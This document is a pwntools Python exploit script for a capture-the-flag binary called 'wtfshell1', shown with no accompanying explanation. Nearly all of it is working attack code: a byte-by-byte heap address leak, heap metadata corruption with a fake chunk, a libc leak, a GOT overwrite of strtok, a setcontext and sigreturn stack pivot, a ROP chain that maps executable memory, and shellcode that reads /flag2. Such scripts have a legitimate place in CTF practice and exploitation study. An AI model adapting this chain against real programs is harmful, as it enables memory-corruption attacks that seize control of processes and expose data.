1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299
| from pwn import *
arch = 64
challenge = './wtfshell1'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc.so.6')
key = "set debug-file-directory ./.debug/\n"
local = 1 if local: p = process(challenge) else: p = remote('172.51.221.20','9999')
def cmd(op): p.sendlineafter("√",op)
def qq(): cmd("qq")
def lol(): cmd("lol.-l") def rip(filename,data): cmd("rip."+filename) p.sendline(data) def newfile(filename,flag): cmd("nsfw."+filename+"."+str(flag))
""" * --: 0 (non-readable & non-writable) * -w: 1 (write only) * r-: 2 (read only) * rw: 3 (readable & writable) """
def writefile(filename,data): cmd("wtf."+data+"."+filename)
def showfile(filename): cmd("omfg."+filename)
def delfile(filename): cmd("gtfo."+filename)
def deluser(): cmd("ouo")
def newuser(username): cmd("stfu."+username)
def newpassword(username,password): cmd("asap."+username) p.sendlineafter("password:",password) p.sendlineafter("retype password:",password)
def changeuser(username): cmd("sus."+username)
def shit(): cmd("shit") def reboot(): cmd("irl")
def leakheap(username,password): heap_addr = "\x80" try_addr = ''
for i in range(6): for j in range(0xff): if(j==0xa): continue try_addr = heap_addr + chr(j) cmd("asap."+username) p.sendlineafter("password:",password) p.sendlineafter("retype password:",password+try_addr) ret = p.recvuntil("\n",timeout=0.1) if b"asap: " not in ret: heap_addr += chr(j) p.sendline('\x00') break else: continue return heap_addr
def write_reverse(filename,payload): whole_size = len(payload)+1 no_null_payload = payload.replace('\x00','a') for i in range(len(payload)-0x10): if no_null_payload[whole_size-i-2:whole_size-i-1] == 'a': writefile(filename,no_null_payload[0:whole_size-i-2]) else: continue
newuser("yhellow") newuser("yhellow2")
heap_addr = u64(leakheap("yhellow2","b"*0x40).ljust(0x8,'\0')) heap_base = heap_addr - 0x880 success("heap_base >> "+hex(heap_base))
presize = 0xd10 payload = p16(presize) + "/"*6
newfile("1",3) writefile("1","b"*0x300) rip("1","a"*0x100) rip("1",payload+"b"*0xf8) rip("1","c"*0x100) rip("1","d"*0x100) rip("1","e"*0x100) rip("1","f"*0x100) rip("1","g"*0x100) rip("1","h"*0x100) rip("1","i"*0x100) rip("1","g"*0x100)
newfile("2",3) newfile("3",3) rip("1","b"*0x100) writefile("2","c"*(0x400-6)) writefile("3","d"*0x310)
newfile("4"*0x3f8,3) newfile("5"*0x3f8,3) newfile("6"*0x3f8,3) newfile("7"*0x3f8,3) newfile("8"*0x3f8,3) newfile("9"*0x3f8,3) delfile("4"*0x3f8) delfile("5"*0x3f8) delfile("6"*0x3f8) delfile("7"*0x3f8) delfile("8"*0x3f8) delfile("9"*0x3f8)
fakechunk_addr = heap_base + 0x3f0 rip("2","e"*0x100) reboot()
newfile("1",3) writefile("1","f"*0x310) rip("1","e"*0x100)
newfile("4",3) payload = "p"*0x60 payload += p64(0) + p64(presize+1) payload += p64(fakechunk_addr+0x18) + p64(fakechunk_addr+0x20) payload += p64(fakechunk_addr+0x10) + p64(fakechunk_addr+0x18) payload += p64(fakechunk_addr) + p64(fakechunk_addr) write_reverse("4",payload)
newfile("2",3) writefile("2","k"*0x310) payload = "rip."+"a"*(0x400-4) cmd(payload)
newfile("3"*0x2f0,3) newfile("4"*0x2f0,3) newfile("5"*0x2f0,3) newfile("6"*0x2f0,3) newfile("7"*0x2f0,3) newfile("8"*0x2f0,3) newfile("9"*0x2f0,3) delfile("3"*0x2f0) delfile("4"*0x2f0) delfile("5"*0x2f0) delfile("6"*0x2f0) delfile("7"*0x2f0) delfile("8"*0x2f0) delfile("9"*0x2f0)
payload = "a"*0x2f0 + p64(0) + p64(0x41) write_reverse("2",payload)
delfile("2") newfile("5"*0x30,3) newfile("6"*0x30,3) delfile("1") newfile("7"*0x30,3) writefile("5"*0x30,"5"*0x360)
libc_addr = heap_base + 0x760 name_addr = heap_base + 0x26c0 payload = "x"*0x338 payload += p64(0x31)+p64(name_addr)+ p64(libc_addr)
write_reverse("7"*0x30,payload) showfile("6"*0x30)
leak_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) libc_base = leak_addr - 0x1f6cc0 success("leak_addr >> "+hex(leak_addr)) success("libc_base >> "+hex(libc_base))
strtok_libc_got = 0x0000000001F6040 + libc_base success("strtok_libc_got >> "+hex(strtok_libc_got))
payload = "x"*0x338 payload += p64(0x31)+p64(name_addr)+ p64(strtok_libc_got) write_reverse("7"*0x30,payload)
setcontext_libc = libc_base + libc.sym['setcontext'] mmap_libc = libc_base + libc.sym['mmap'] read_libc = libc_base + libc.sym['read'] success("setcontext_libc+61 >> "+hex(setcontext_libc+61)) success("read_libc >> "+hex(read_libc))
magic_gadget = libc_base + 0x000000000008c225 writefile("6"*0x30,p64(magic_gadget)[0:6])
pop_rax_ret = libc_base + 0x000000000003f8e3 pop_rbx_ret = libc_base + 0x000000000002f1d1 pop_rcx_ret = libc_base + 0x00000000000e236e pop_rdi_ret = libc_base + 0x0000000000023b65 pop_rsi_ret = libc_base + 0x00000000000251be pop_rdx_ret = libc_base + 0x0000000000165f32 pop_r8_ret = libc_base + 0x000000000008c27e
ROP_addr = heap_base + 0x400 frame_addr = heap_base + 0xd00 + 0x10
frame = SigreturnFrame() frame.rdi = 0 frame.rsi = ROP_addr frame.rdx = 0x200 frame.rsp = ROP_addr frame.rip = read_libc
payload = p64(setcontext_libc+61) + p64(frame_addr) + bytes(frame)
cmd(payload)
rop = p64(pop_rdi_ret) + p64(0x100000) rop += p64(pop_rsi_ret) + p64(0x1000) rop += p64(pop_rdx_ret) + p64(6) rop += p64(pop_rcx_ret) + p64(0x22) rop += p64(pop_r8_ret) + p64(0xffffffff) rop += p64(mmap_libc) rop += p64(pop_rdi_ret) + p64(0) rop += p64(pop_rsi_ret) + p64(0x100000) rop += p64(pop_rdx_ret) + p64(0x200) rop += p64(read_libc) rop += p64(0x100008)
sleep(0.1) p.send(rop)
shellcode = asm(""" xor rdi, rdi; mov rax, 3; syscall; mov rbx, 3; mov rcx, 0x100000; xor rdx, rdx; mov rax, 0x127; int 0x80; xor rdi, rdi; push rsp; pop rcx; mov rbx, rcx; mov rsi, rcx; mov rdx, 0x100; xor rax, rax; syscall;
mov rdi, 1; push 0x100; push rbx; push rsp; pop rsi; mov rdx, 1; mov rax, 20; syscall; """)
sleep(0.1) p.send('/flag2\x00\x00' + shellcode)
p.interactive()
|